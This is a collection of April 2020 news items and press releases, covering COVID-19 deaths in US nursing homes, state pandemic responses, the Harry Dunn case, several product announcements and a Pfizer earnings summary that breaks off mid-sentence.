Laboratory. The death toll at a Massachusetts veterans care home has climbed to 76 after a coronavirus outbreak ravaged the facility. Health officials reported the death toll of 75 on Saturday before confirming that one more resident of the Soldiers Home in Holyoke had died - almost a third of the 226 people who lived there when the first death was reported in early March. Sixty-six of those residents tested positive for the virus, nine tested negative and one test is still pending. The Holyoke facility has come under fire in recent weeks after it was reported that at least two employees were still working out of fear for their job despite testing for positive for the virus. The death toll at the Soldiers Home in Massachusetts has climbed to 76 after a coronavirus outbreak ravaged the facility Sixty-six of those residents tested positing for the virus, nine tested negative and one test is still pending. Medics with the National Guard are seen testing a resident at the home Soldiers from the Massachusetts National Guard chat with residents of the Holyoke Soldiers Home in Holyoke According to ABC News, two other employees, Carmen Rivera and Joe Ramirez, who fell ill with the virus and have been out since last month, said at least two of their coworkers at the Soldiers' Home have still been going into work. Ramirez, who is a certified nursing assistant, said his colleagues are 'afraid of losing their job' and 'of retaliation'. Cory Bombredi, the Local 888 union organizer for the home said there is a written policy in place for workers to continue coming into work. The policy says that 'if you're COVID-19 positive and asymptomatic, you still have to show'. Bennett Walsh, the superintendent of the home, has been placed on administrative leave and a new clinical command structure is in place. The Department of Justice's Civil Rights Division and the US Attorney's Office for the District of Massachusetts have also launched an investigation. Both federal agencies are working to determine if the facility violated the rights of its residents by failing to provide adequate medical care. Nursing homes across the United States have been significantly impacted by the virus that has so far infected more than 1 million people in America and killed more than 56,000. Of those deaths, more than 11,000 represent those who died in nursing homes or other long-term care facilities. Four North Carolina nursing homes have each had at least 10 deaths of residents diagnosed with COVID-19, according to data released on Monday by state health officials. Like elsewhere in the country, the new coronavirus is striking North Carolina nursing homes and similar congregate facilities particularly hard. Nursing homes across the US have been significantly impacted by the virus that has so far infected more than 1 million people in America and killed more than 56,000. Of those deaths, more than 11,000 represent those who died in nursing homes or other long-term care facilities Monday's report counted 1,650 positive cases among residents and more than 140 deaths. Gov Roy Cooper has issued an executive order telling workers at long-term care facilities to wear masks all the time and isolate residents who test positive or have suspected cases. Some of the deadliest outbreaks at nursing homes on Mondays list had already been disclosed by local health departments. The Louisburg Healthcare and Rehab Center has 14 deaths, while Pruitt Health-Carolina Point in Orange County has 11 deaths. The Citadel at Salisbury and Autumn Care in Cornelius both had 10 deaths. In Minnesota, officials have reported that 13 have died from COVID-19 at Catholic Eldercare. The facility notified families of residents and said it is isolating those who have contracted the virus in a designated section of the 174-bed nursing home. It initially reported cases of the coronavirus among its residents and staff two weeks ago. In North Carolina, the Louisburg Healthcare and Rehab Center (pictured) has 14 deaths, while Pruitt Health-Carolina Point in Orange County has 11 deaths In Minnesota, at least 32 residents died at St Therese (pictured) of New Hope, as well as 18 people at North Ridge Health and Rehabilitation, also in New Hope At least 32 residents died at St Therese of New Hope, as well as 18 people at North Ridge Health and Rehabilitation, also in New Hope. In New York, Gov Andrew Cuomo announced that he has launched an investigation with the attorney general into nursing homes across the state that have violated executive orders by not telling residents' families of known cases of COVID-19. Cuomo announced the probe on Thursday amid mounting concern that the true number of deaths among nursing home patients is far higher than is being reported. Families are not allowed to visit their elderly loved ones in the homes, meaning they have been cut off from outside contact for weeks. In New York, more than 1,300 residents of long-term care facilities have died as of Sunday, according to the NY Department of Health. Officials in New Jersey also recently launched an investigation after an anonymous tip led to police discovering 17 bodies piled up in one nursing home's morgue. Authorities revealed two weeks ago that 17 bodies were found piled up in the Andover Subacute and Rehabilitation Center's morgue in Andover, New Jersey. The cause of death of the 17 has not been confirmed but 68 people have recently died at the facility, and 26 of those tested positive for COVID-19. Officials in New Jersey also recently launched an investigation after an anonymous tip led to police discovering 17 bodies piled up in the morgue of the Andover Subacute and Rehabilitation Center (pictured) Thirteen of the discovered bodies were moved to a refrigerated truck outside a hospital in the nearby town of Newton. A funeral home picked up the other four Earlier this month, it was revealed that state and local officials weren't releasing their own tally of deaths that occur within long-term car facilities. But the Department of Health and Human Services has agreed to specifically identify more than 70 long-term facilities, rehabilitation centers, adult care homes and other corporate living locations where outbreaks have occurred. Before Monday, the department hadn't identified the specific facilities, with officials saying it could break confidentiality rules on patient information. The agency had only released the overall number of positive cases at these facilities and the counties where they were located. But some county health departments named the facilities anyway, leading to a fragmented picture of cases. State DHHS Secretary Mandy Cohen said her department revisited the policy in the interest of standardizing information and avoiding a patchwork of rules across the state. Several media outlets had reported about the disparate release of the information and had pressed DHHS to release specific information about infections and deaths at individual nursing homes across the state. 'We've been trying to always strike the balance of transparency and getting good data to folks, protecting public health and protecting individual privacy,' Cohen said at a media briefing. [April 28, 2020] Ogury Launches A First-To-Market Interactive Ad Format, Video Chooser, Which Enables Users To Choose The Brand They Engage With on Mobile NEW YORK, April 28, 2020 /PRNewswire/ -- Ogury, the creator of the first advertising engine driven by user choice, announced today the release of Video Chooser , a new way of delivering full-screen mobile video advertisements that enable consumers to choose the ad that most appeals to them. Ogury is first to market with its new Video Chooser advertising feature. As the company's new default delivery mechanism for full-screen video ads, Ogury's Video Chooser provides users with the choice of up to three brand ads to watch. The user selects their preferred brand and watches the selected full-screen video ad. Ogury provides control to the user, while driving value for advertisers. Advertisers only pay for an impression if a user sees their video. Advertisers also have the option to buy all three advertisements, which drives category exclusivity and complete share of voice. Advertisers also receive value in performance. Video Chooser offers the best in branding performance by bolstering brand memorability. Advertisers in the Beta program had on average a 300% increase in ad recall. The mot important performance metrics for video ads are Video Completion Rate (VCR) and Viewability, but all too often, advertisers have to sacrifice one for the other. Uniquely delivering high Viewability and VCR, Ogury measures video performance via Viewable Video Completion Rate (V2CR), which is calculated by multiplying VCR with Viewability. Ogury delivers 67% V2CR, the highest in the industry, excluding rewarded videos in gaming. User-chosen ads delivered via Video Chooser add another 5 percentage points to V2CR, taking it to new heights, 72%. "The adtech industry has entered into a new Era of Digital Integrity, fully centered on consumer choice when it comes to how data is collected and used," said Phil Sloan, SVP, Business Lead at Canvas Worldwide. "We have been working with Ogury for 3+ years, attracted by their ability to lead the industry forward. Video Chooser is a game changing ad format, allowing users to control their advertising experience. This deepens their trust in our brand while also increasing engagement and memorability." Evan Rutchik, General Manager of North America, Ogury, said, "At Ogury, we believe the future adtech winners place consumer choice at the center." He continued, "Consumer behaviors are rooted in human psychology. When they choose to see ads from a brand, they are more likely to engage with that brand in the future to support their original choice. It's a cognitive bias known as Choice Supportive. Video Chooser improves brand engagement by allowing the consumer to choose their own advertising experience." About Ogury Ogury is the creator of the first advertising engine driven by user choice. Ogury Advertising Engine powers a new trusted mobile advertising ecosystem, founded on user consent and preferences towards data sharing and ad experience. Ogury's technology is built for branding campaigns and delivers sustainable ad results for 1500+ brand customers and 3500+ publisher partners, while building user trust. Ogury is a global organization with 400+ employees across 10 countries, dedicated to building the future of choice driven digital advertising. View original content to download multimedia:http://www.prnewswire.com/news-releases/ogury-launches-a-first-to-market-interactive-ad-format-video-chooser-which-enables-users-to-choose-the-brand-they-engage-with-on-mobile-301047904.html SOURCE Ogury LTD [ Back To TMCnet.com's Homepage ] Uttarakhand Chief Minister Trivendra Singh Rawat on Tuesday said a single window system has been put in place for the convenience of entrepreneurs through which 1,171 industrial units have been allowed to resume operations from April 30. "The COVID-19 pandemic has not only hit the Indian economy but that of the whole world. It has created an industrial impasse in the country," he said while participating in the North Indian Virtual conference organised by the Confederation of Indian Industries via video conferencing. "After the guidelines issued by the Centre, a single window system has been put in place for the convenience of entrepreneurs in Uttarakhand and since April 20, a total of 1,171 industries have been allowed to resume operations in the state, he said. Big industries like the ITC, Hindustan Unilever, Nestle, Britannia and Dabur have started production whereas automobile giants like Tata Motors, Hero Motocorp, Ashoka Leyland and Mahindra are fully prepared to start operations, the chief minister said. Apart from these, 1,884 pharma and food industries have also been operating during the lockdown so that supply of essentials to people is not affected, he said. A committee headed by retired IAS officer Indu Kumar Pandey has been constituted to study the impact of COVID-19 on the state's economy and recommend measures to re-strengthen it, he said. The last date for payment of lease/rent in State Industrial Development Corporation of Uttarakhand Limited (SIDCUL) industrial area has been extended from April 30 to June 30. Similarly, the last date for payment of water and sewer bills has also been extended till May 31, Rawat said. Commercial category consumers of electricity have been exempted from payment of late surcharge in case of delayed payment, and from disconnection in case of non-payment during the period, he said. So far, there have been 51 coronavirus positive cases in Uttarakhand, out of which 33 have recovered. The hill districts of the state are free from COVID-19. The Confederation of Indian Industry (CII) has been shouldering responsibilities with the government to overcome the challenges posed by the pandemic, he said. The CII has been in constant touch with the state government and representatives of the industrial world have made significant donations to the Chief Minister's Relief Fund, Rawat added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Gov. Andrew Cuomo has received ample praise for his handling of the COVID-19 crisis in New York, while other governors actions have garnered much less national attention. But New York waited longer than many other states to take crucial steps to contain the spread of the coronavirus: closing schools, restricting public gatherings and ultimately ordering residents to shelter in place. To contextualize Cuomos response to the crisis, it can be useful to compare his decision-making timeline to those of other governors. First, how long did each governor wait to issue a shelter-in-place order after the first case was confirmed in their state? And how many cases were confirmed in each state by the time that order took effect? Taken together, the answers to those questions shed light on Cuomos comparative urgency. New York confirmed its first positive coronavirus case on March 1. By March 20, when Cuomo issued a statewide shelter-in-pace order, New York already had 8,310 confirmed cases, according to the Kaiser Family Foundations coronavirus website. By the time New Yorks shelter-in-place order took effect on March 22, there were 15,800 cases confirmed in the state. That is the highest total of any state that issued a shelter-in-place order. California Gov. Gavin Newsom ordered residents to shelter in place the day before New York. The case count in California when that order went into effect was 952, according to the Kaiser Family Foundation. And in West Virginia, Republican Gov. Jim Justice waited just six days after the first confirmed case in his state to issue a shelter-in-place order. When it went into effect the next day, there were 22 cases confirmed in his state. Governors in Delaware, Idaho, Louisiana, Michigan, Montana, New Mexico and Ohio all issued orders within two weeks of the first confirmed case in their states. In all of those states, there were fewer than 2,000 confirmed cases by the time the orders went into effect. For most, there were fewer than 500 confirmed cases, according to the Kaiser Family Foundation. Of course, there are numerous variables to consider. Many states benefited from watching how New York dealt with the crisis, and New York was one of the first states in the country to issue a shelter-in-place order. The rate of the coronaviruss spread has differed in each state, with New York Citys density contributing to the rapid spread of the virus. And Cuomo wasnt the slowest acting governor. As of writing, several governors (including those in Arkansas, Iowa, Nebraska, North Dakota, South Dakota, Utah and Wyoming) havent issued formal shelter-in-place orders, and shelter-in-place guidance has had varying names and restrictions in each state. In Utah, for example, Gov. Gary Herbert issued a Stay Safe, Stay Home directive. In Massachusetts, Gov. Charlie Baker issued a stay-at-home advisory, and in Oklahoma, Gov. Kevin Stitt ordered only older and more vulnerable people to stay home. But the data reinforces the question: What might have happened if Cuomo had acted one week earlier? Two days earlier? The governor's office disputed the comparison. "We were the second state in the nation to issue a PAUSE order and as the first had their first documented case in January and New Yorks was in March at the time were the fastest to move," Senior Advisor to the Governor Rich Azzopardi wrote in an email. "By then we had already ordered 75 percent of employees to stay home, closed bars and restaurants, shuddered gyms and movie theaters and curtailed public gatherings, among many other steps. From the beginning, New York has also been more aggressive with testing than any other state, providing the public with a much clearer picture than other places and as was recently discovered, this virus had likely been in the US months before it was identified, negating this entire theory. Editor's note: This story has been updated with comments from the governor's office. [April 28, 2020] Smiley Relaunches Good News Website - Dedicated to Community Heroes LONDON, April 28, 2020 /PRNewswire/ -- Smiley, the good news brand powering positive propaganda since 1972, through good news stories, championing community heroes & charitable causes has launched its Good News website . CEO Nicolas Loufrani spoke about this, "We believe that good news today is about those doing good in their local communities. That's why our editorial focus has been on championing the everyday heroes who work or volunteer for charities and social enterprises. We believe their stories are not only uplifting but will engage more people to do like them." Smiley hope to continue to readapt its original message to the world, by bringing inspiring stories of people and communities working together to make the world a better place and also providing positive and uplifting lifestyle content through its social media accounts in a bid to create real joy. The company believes that people are living in unprecedented times, relentlessly bombarded with bad news from 'always-on' social and digital media. According to Smiley's research taken from Google Trends, it showed that searches for 'good news' have reached all-time highs in March 2020, as they believe that more consumers look for positive, inspiring, feel-good news as a remedy. With the launch of their non-profit Smiley Movement in 2019, Smiley is helping partners make 'giving back' the norm, building bridges between brands and local charities, creating purposeful partnerships in a bid to drive social change. With its recent partnership between renowned explorer brand Eastpak and leading homeless charity Depaul, Simley has been part of arranging vital funding for the Korotich Mother and Child Home in Ukraine. On Smiley's 50th anniversary in 2022, the company will be rebooting its original 1972 message "Take The Time To Smile", to generate hope, optimism and positivity through collaborations and partnerships that put its purpose into action for the next 50 years. During these uncertain times, Smiley believes their mission is more critical than ever. As an organisation, it hopes to do what it does best by bringing positivity and hope to a world that urgently needs it and becoming the antidote to a world in crisis. Get your Smiley News on Twitter . Photo: https://mma.prnewswire.com/media/1160586/Chinatown_Market_X_Smiley.jpg [ Back To TMCnet.com's Homepage ] A Jersey City man with at least six felony convictions was arrested early Saturday morning after he and another man broke into the basement of a Jersey City apartment building, authorities said. A resident of the building on Chestnut Avenue caught Mack in the basement just after 1 a.m. and called police, Jersey City spokeswoman Kimberly Wallace-Scalcione said. Mack, 30, was charged with burglary and criminal mischief. In 2017, he was arrested three times in a month, including on consecutive days when police said he tried stealing bikes. Mack has criminal convictions going back to 2009. The second man was not apprehended. She has been isolating in Los Angeles with her husband Jamie Bell and their newborn daughter. But on Monday Kate Mara got in some solo sunshine as she headed out around her Los Feliz neighborhood. The 37-year-old actress looked ready for summertime as she donned a mini dress along with some protective gear as the city remains on lockdown due to the novel coronavirus. Sunshine: On Monday Kate Mara got in some solo sunshine as she headed out around her Los Feliz neighborhood The former House of Cards actress opted for a blue mini dress with white embroidered floral designs. In a mid-thigh style, the dress offered puffed cap three-quarter sleeves, and a pleated bodice. She wore white lace-up sneakers, dark frame sunglasses and a multi-colored floral mask with the outfit. Her walk comes as Los Angeles remains on lockdown until May 15 in an attempt to curb the number of COVID-19 as it reaches over 1 million cases and over 56k deaths in the U.S. Her look: The former House of Cards actress opted for a blue mini dress with white embroidered floral designs, with white sneakers, sunglasses and a blue face mask While it was just her and her dog for the Monday walk, she has been seen in the neighborhood getting in some exercise with Bell, 34 and their baby. The actors welcomed their daughter last year, but have yet to reveal her name. Kate announced the arrival of her little girl at the end of May 2019 on social media. Alongside a sweet photo she penned: 'We had a baby a couple weeks ago... Here are her feet.' Looking back: The couple first met as co-stars in Fantastic Four and began dating in 2015, before getting engaged in January 2017 (pictured in 2019) The couple first met as co-stars in Fantastic Four and began dating in 2015, before getting engaged in January 2017. Kate and Jamie married in July 2017 and now split their time between Los Angeles and New York. While the couple's daughter is the first child for Kate, she is Jamie's second child. The former child star shares a son, who is six, with actress ex-wife Evan Rachel Wood, 32. The couple were married from 2012 to 2014. West Australian gold miner Calidus Resources has inked a deal with the Shire of East Pilbara for the $7 million upgrade of the council-owned Marble Bar Airport as part of a COVID-19 stimulus package. The airstrip, a two-hour drive from Port Hedland, will service the miner's flagship 1.25 million ounce Warrawoona Gold Project, a 780-square-kilometre belt in the Pilbara's emerging goldfields. Calidus Resources' Warrawoona Gold Project is located in the emerging Pilbara goldfields. Credit:Calidus Resources Calidus has signed a heads of agreement with the shire to co-fund the project, which will allow the airport to accommodate 100-seater jets with an all-weather sealed runway. As part of the deal, the miner will contribute $2 million towards the works, with the Shire of East Pilbara to cover the remaining $5 million. APRIL 27, 2020 UTSA is responding to the COVID-19 outbreak with a commitment to supporting the safety of the university community while enabling the academic progress of students. Here is your digest of university news and tips. VIRTUAL EVENTS SUCCEED THIS SUMMER: Academic Innovations series of webinars for instructors continues this week with Build Your Course Orientation and Module Outline on Tuesday, April 28, 8:15 a.m. And catch the College Q&A Webinar on Thursday, April 30, 8:15 a.m. Each webinar is open to anyone who supports student learning, including teaching assistants, graduate assistants and academic support staff and is saved for later viewing if you miss a livestream. Next up in the Community Conversations series virtual town halls: Beating COVID-19: How Close Are We? Many of our nations top scientific minds are focused on developing solutions to combat COVID-19, including several UTSA faculty who are actively working to develop predictive models, drug therapies and vaccines. A Q&A session with panel experts will be included. ONLINE LEARNING & TELECOMMUTING EVALUATIONS REMINDER: Student course evaluations have been suspended for the spring 2020 semester only. FIND TOOLS TO SUCCEED: Telecommuting for work has been a first-time experience for many Runners, so Human Resources is also providing the UTSA Learning Zone. Available to all faculty, staff and student employees, the platform has a set of self-paced courses geared toward working remotely, including using Microsoft Teams, overcoming virtual challenges, managing stress and being productive in your personal life. COMMUNITY NEWS FINANCIAL RESOURCES UPDATE: The Financial Assistance Resources for UTSA Students page includes an application for the Student Technology Assistance Fund, established to assist students who do not have the resources to purchase technology needed for remote courses. If you know a student facing financial hardship who needs funds to purchase a computer and hotspot, please have them apply. PICTURE PERFECT: If youre missing campus, weve created some campus-inspired and spirit-themed virtual backgrounds for Zoom to help you feel connected with other Roadrunners while taking courses or working remotely. Perth real estate agents are breathing a sigh of relief after the West Australian government included WA government home opens and display village inspections involving up to 10 people among newly permitted gatherings. In recent weeks, pre-booked private viewings with agents have been the only inspections allowed. Ms Majeks will be able to start showing her portfolio of properties again, including this double-storey house near South Beach in South Fremantle. Credit:Dethridge Groves Chanel Majeks, a sales representative for Fremantles Dethridge Groves, said the agency had been using videos, videoconferencing appointments and private inspections and was perhaps better placed to do so than some other agents because it had always catered for a strong contingent of east coast buyers. But while there had been a lot of activity showing people were accessing the online resources, this hadnt translated into many bookings for private viewings, particularly for higher-end homes. On Thursday, Lebanon Community Schools Superintendent Bo Yates filled the board in on the new normal; distance education, teacher check-ins and meeting the needs of those most at risk amid the crisis caused by the spread of COVID-19. He also assured members that Lebanon was still hanging onto hope for at least one of the traditions of old graduation. Yates said that, for now, the June 9 ceremony is still moving forward with the hope that strict social distancing measures currently in place across the state will ease. Gov. Kate Brown closed all schools through the end of the academic year and limited gatherings in an attempt to slow the spread of the virus that has sickened more than 2,000 people statewide, killing more than 90. According to the Oregon Health Authority, the measures have prevented approximately 70,000 coronavirus illnesses and ensured the state's medical system did not become overwhelmed. "We dont have all the answers, but Im so lucky to have such a strong group of people to work with that we can usually come up with an answer and move forward," Yates said at Thursday's meeting, noting that teachers have moved forward with distance learning. According to Assistant Superintendent Jennifer Meckley, the shift follows guidelines from the state but has also been a heavy lift for teachers. "It's a grieving process," she told the board, noting that teachers often worry about their students' emotional and mental health during the closure as well. On Monday, Lebanon High School Principal Craig Swanson echoed Yates' statement that graduation is still on the calendar. "As I have stated before," he wrote in a statement to parents, "the ceremony has not been canceled or postponed from its original June 9 date. However, due to the uncertainty of this date we want to share three save the dates so our families can plan accordingly." Swanson said if the ceremony is unable to go on as planned June 9, it will be rescheduled for July 7. If that date falls through as well, the ceremony will take place July 28. "Safety," Swanson said, "will be our number one priority in determining if and when we can host a commencement." Donald Trump has again alleged that House Speaker Nancy Pelosi visited Chinatown in February to dance in the streets whilst he was at the White House managing the Covid-19 crisis. Trump claimed on Monday that Pelosi, the top Democratic in the US Congress, wanted to party in the streets of Chinatown, San Francisco, at the beginning of the pandemic. Nancy Pelosi was dancing in the streets in Chinatown. She wanted to go - lets go out and party, said Trump. But that was late into February so mention that, you could mention that. The comments - which are the latest in a series of dishonest Trump attacks on Pelosis Chinatown visit - come amid severe criticism of the US presidents actions on coronavirus. The president has maintained that his administration did many things during the month of February to prepare for the coming pandemic, without providing detail. On April 20, he said: Nancy Pelosi is holding a street fair. She wants a street fair in San Francisco, in Chinatown. To prove, you know what the purpose of it was: to prove that there is no problem. On February 24, Pelosi visited Chinatown in San Francisco to support businesses and the Asian-American community after visitor numbers dropped. She did not party, dance in the streets, or hold a street fair, as president Trump has claimed. That visit came weeks ahead of a stay-at-home order being announced for San Francisco. You should come to Chinatown, said Pelosi in February. Precautions have been taken by our city. We know theres concern about tourism, travelling all throughout the world, but we think its very safe to be in Chinatown and hope that others will come. Republicans have attempted to compare the Democratic with president Trump, with Florida congressman Matt Gaetz calling Pelosi the hypocrite of the House on Fox News last week. While Donald Trump was shutting down travel from China, Nancy Pelosi was volunteering as a tour guide in Chinatown, and she said she did so so there wouldnt be racist attacks and really that's just the Democrats resorting to identity politics, added Gaetz. The congressmans comments came days after president Trump claimed on Twitter that "Crazy Nancy Pelosi had wanted everyone to pack into Chinatown long after I closed the BORDER TO CHINA. Trump added: Based on her statement, she is responsible for many deaths. Shes an incompetent, third-rate politician!" Democratic congresswoman Judy Chu, the chair of the Congressional Asian Pacific American Caucus, pointed-out that Chinatown and China were not the same in a tweet. "We don't have a border with China. Also, the fact that you can't distinguish between China & Chinese AMERICANS puts Asian American lives at risk," said Chu. Attacks against Asian-Americans were reported across the US at the beginning of the pandemic, and appeared to continue until the US president stopped mislabelling Covid-19 as the Chinese or Wuhan virus. The results of the first quarter of 2020 confirm the resilience of the PAREF Group's model in this particular economic environment. All measures taken by the Group have enabled us to protect our employees and to guarantee the continuity of our activities and services for our clients and shareholders. It is with all PAREF's employees, whom we warmly thank for their commitment on the daily basis, that we will continue to deploy our strategy and then to limit the impact of the Covid-19. Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. VANCOUVER, British Columbia, April 28, 2020 /PRNewswire/ -- MiniTool Software Limited released new Power Data Recovery V8.8 with some new updates. The latest version 8.8 adds Spanish support. It also extends the language support for its File Previewer. This new release of MiniTool Power Data Recovery optimizes the RAW scan on SWF files by delivering more accurate recovery results. The software download and installation speed is improved as well. Added Spanish Support This time MiniTool Power Data Recovery V8.8 added support for Spanish. MiniTool software has been working on adding more language support so as to let more people worldwide to use this product and help them with lost data recovery. Other languages include English, Japanese, German, French, Italian, Korean, now this data recovery program supports seven languages. New Language Support for File Previewer The File Previewer of new MiniTool Power Data Recovery V8.8 now also supports French, Italian, Korean, and Spanish. The File Previewer embedded in this software lets users preview files before restoring them. The supported preview file types are up to 70 types. The new language support for the File Previewer enables more users to determine if the files are the ones they want. Improved RAW Scan on SWF Files The new version 8.8 of MiniTool Power Data Recovery optimizes the RAW scan on SWF files. Now it can scan and recover SWF files more accurately. To scan and recover specific type of files, users can click the Settings button next to Scan button on the main UI of MiniTool Power Data Recovery. Software Download and Installation Speed is Faster The research and development team from MiniTool optimized the software download and installation process. Users can download and install new MiniTool Power Data Recovery V8.8 on their Windows computers in less time. About MiniTool Power Data Recovery Developed by MiniTool Software Limited, MiniTool Power Data Recovery can recover any deleted/lost files from Windows computer, external hard drive, SSD, USB flash/pen/thumb drive, phone or camera SD memory cards, etc. It helps users rescue data after various data loss situations like system crash, hard drive failure, and more. About MiniTool MiniTool Software Limited is a leading computer software provider. For more than ten years, it has developed professional data recovery software, disk partition manager, system backup and restore software, free movie maker and video editor, free video downloader, and more. Some new software products are also in development to meet more users' demands. For more information of MiniTool software and its products, please visit: https://www.minitool.com https://www.partitionwizard.com SOURCE MiniTool Software Related Links https://www.minitool.com Harry Dunn's parents have claimed they are unable to sue their son's alleged killer due to a delay in police handing over an accident investigation report. Lawyers acting on behalf of Charlotte Charles and Tim Dunn have said they asked for the report in early January in order to pursue a civil claim against 42-year-old US suspect Anne Sacoolas. The family's spokesman said the claim is essential in order for them to avoid 'financial hardship' - adding that their financial position has been made 'repeatedly clear' to the Crown Prosecution Service (CPS) and Northamptonshire Police. The news comes as it was revealed that Sacoolas is said to be 'desperate' to return to Britain to meet Harry's parents but will not surrender to police custody, according to a highly-placed source. The parents of Harry Dunn (pictured) have claimed they are unable to sue their son's alleged killer due to a delay in police handing over an accident investigation report Pictured: Harry Dunn's mother Charlotte Charles and stepfather Bruce Charles outside the Ministry Of Justice in London Sacoolas spoke to police at the scene after crashing into the 19-year-old's motorbike while driving on the wrong side of the road last August. Her husband was an intelligence officer at nearby RAF Croughton, a US spy base in Northamptonshire. But the mother-of-three flew home with her family before any formal interview or charge, claiming diplomatic immunity. The Dunn family's spokesman, Radd Seiger, said the family are considering making an application to court should they not receive the report by Friday. A spokesman for Northamptonshire Police said they have been working with the family's lawyers and the CPS to identify material that could be released 'without prejudicing any criminal trial'. Sacoolas was charged with causing death by dangerous driving last year but an extradition request submitted by the Home Office was rejected by US Secretary of State Mike Pompeo in January. Anne Sacoolas (pictured) was said to be 'desperate' to return to Britain to meet Charlotte Charles and Tim Dunn but would not surrender to police custody, said a highly-placed source Mr Seiger said authorities are 'conspiring to add to the family's misery' He told PA: 'Harry's family have, through their lawyer in Washington DC, been attempting to launch their civil claims in the USA for a number of months. 'One of the documents that the lawyers in America need is the police accident investigation report. We have been requesting it since early January. 'As the Crown Prosecution Service make clear in their own guidance, such requests for disclosure should generally be actioned as soon as possible.' Mr Seiger continued: 'The courts recognise the importance of families such as Harry's being able to bring civil claims early on in order to avoid financial hardship. 'As has been made repeatedly clear to the CPS and Northamptonshire Police, that is exactly the position that the family find themselves in. 'Yet, all these months on, we still do not have the report. 'That is unforgivable and the authorities are now conspiring to add to the family's misery as if they were not enduring enough misery. 'We have made it clear that we will be making an application to court in the next few days if it is not disclosed.' In a statement, a spokesman for the force said: 'Following the tragic death of Harry Dunn, Northamptonshire Police commenced a criminal investigation. 'A file of evidence was prepared and handed to the Crown Prosecution Service on November 1 2019. Since the crash which killed Harry, the county's police force has said it investigated two other incidents of Americans allegedly driving on the wrong side of the road. Pictured is a crash in the same area which allegedly involved an American driver on the wrong side of the road 'After considering the evidence, the Crown Prosecution Service authorised Northamptonshire Police to charge Anne Sacoolas with causing Harry's death by dangerous driving. 'In December 2019, the CPS began extradition proceedings, which are ongoing. 'We remain committed to securing justice through the criminal justice system in the UK and will not take any action that will prejudice this. 'The family have indicated they wish to pursue a claim for compensation against Anne Sacoolas in the United States. 'We wish to support the family in that action and we have been working with the family's lawyers and the Crown Prosecution Service to identify documentation that can be released without prejudicing any criminal trial.' On Saturday Harry's parents pleaded with the head of the Armed Forces to set up a meeting with base chiefs after claims of 'three near misses' involving their staff. In a letter to General Sir Nick Carter, they wrote that the base could not 'practise splendid isolation' when it comes to safety. Since the crash which killed Harry, the county's police force has said it investigated two other incidents of Americans allegedly driving on the wrong side of the road. Last week, there were claims a third member of staff smashed into a fence in a nearby village after driving on the wrong side of the road. Prosecutors have said Mrs Sacoolas should be charged with causing death by dangerous driving but the US has rejected an extradition request. Last week, there were claims a third member of staff smashed into a fence in a nearby village after driving on the wrong side of the road. Pictured is a sign for RAF Croughton - near the site of Harry's crash A British security source, who had been in contact with counterparts in America, said: 'We're told she's aware it's cold comfort to Harry's family but she has had sleepless nights since this tragic accident.' Although Mrs Sacoolas has previously said she was 'terribly, terribly sorry for that tragic mistake', she has not met Harry's parents. The divorced couple went to the White House last October to raise the case with Donald Trump but he tried to ambush them into meeting Mrs Sacoolas by revealing she was in the next room. Mrs Charles, 45, of Charlton, Northamptonshire, and Mr Dunn, 50, of nearby Brackley, were stunned and refused to see her. The source told the Sunday Express: 'She is still desperate to tell them in person how sorry she is.' Any meeting would coincide with a trip to the UK later this year when Mrs Sacoolas is due to lecture at the Defence College of Intelligence in Bedfordshire. In February, it was revealed she had been a CIA agent but had not been on active duty while in the UK. Anzac weekend saw New Zealanders come together and remember the sacrifices of our servicemen and women and the majority did this while keeping in mind the Alert Level 4 restrictions. While there were road checkpoints and patrolling from police right across the country, most people spent the long weekend staying within their bubble and sticking to the rules. Over Anzac weekend police completed 1620 reassurance checks at essential facilities such as supermarkets, petrol stations and pharmacies and 2699 prevention patrols in communities across the country. In addition to the reassurance and prevention work police also undertook 555 road checkpoints and compliance across the country was generally good. Over the weekend there were 852 breaches of the Civil Defence Emergency Act or the Health Act. Of these 852 breaches 87 people have been or are being prosecuted, 727 people have been warned and 38 youth referrals have been completed. "We understand the last four weeks have been challenging for many people and the fact we are in a position to move to Alert Level 3 tomorrow is a credit to everyone who has followed the rules," says Acting Assistant Commissioner Scott Fraser. The vast majority of New Zealanders have been law abiding, they have played their part, and have heeded the restrictions. "The Alert Level 4 breaches recorded by us, has been by a small minority." Pfizer, Inc. PFE reported first-quarter 2020 adjusted earnings per share of 80 cents, which beat the Zacks Consensus Estimate of 71 cents. Earnings however declined 5% year over year as lower revenues offset spending reductions. The pharma heavyweight recorded revenues of $12.03 billion, which declined 8% from the year-ago quarter on a reported basis. On an operational basis, excluding the 1% negative impact of currency, revenues declined 7% year over year as higher sales of some key brands in Pfizers Biopharmaceuticals group were offset by revenue decline in the Upjohn segment and sales lost due to the spin-off of the Consumer Healthcare (CHC) unit. Meanwhile, first-quarter revenues included a net positive impact of approximately $150 million, or 1%, due to COVID-19. Importantly, excluding the spin-off of the Consumer Healthcare (CHC) unit, first-quarter revenues declined 1% operationally. We remind investors that in August last year Pfizer merged its CHC unit with Glaxos GSK Consumer unit to form a new joint venture (JV). Pfizer owns a stake of 32% in the JV and Glaxo owns the remaining 68%. International revenues declined 8% to $6.38 billion. On an operational basis, international sales declined 6% in the quarter. U.S. revenues declined 8% to $5.65 billion. Adjusted selling, informational and administrative (SI&A) expenses declined 16% (operationally) in the quarter to $2.75 billion. Adjusted R&D expenses rose 2% to $1.73 billion. Segment Discussion Pfizer reports under two business units Pfizer Biopharmaceuticals Group and Upjohn. Importantly, in July 2019, Pfizer had announced a definitive agreement to spin off its Upjohn unit and combine it with generic drugmaker Mylan MYL in a Reverse Morris Trust transaction to create a generic pharmaceutical company to be called Viatris. In March, Pfizer announced a delay in closing of the pending merger due to the coronavirus pandemic. It was postponed to the second half of 2020 versus the prior expectation of mid-2020. Story continues Pfizer Biopharma sales grew 11% on a reported basis (up 12% an operational basis) from the year-ago period to $10 billion. Higher sales of brands like Eliquis, Ibrance, Inlyta and Vyndaqel/Vyndamax and higher biosimilars revenues drove this segments sales growth. Weaker sales of Prevnar 13/Prevenar 13 in the United States and Enbrel internationally offset the increase. Within the Biopharma group, Oncology revenues increased 25% (on an operational basis) to 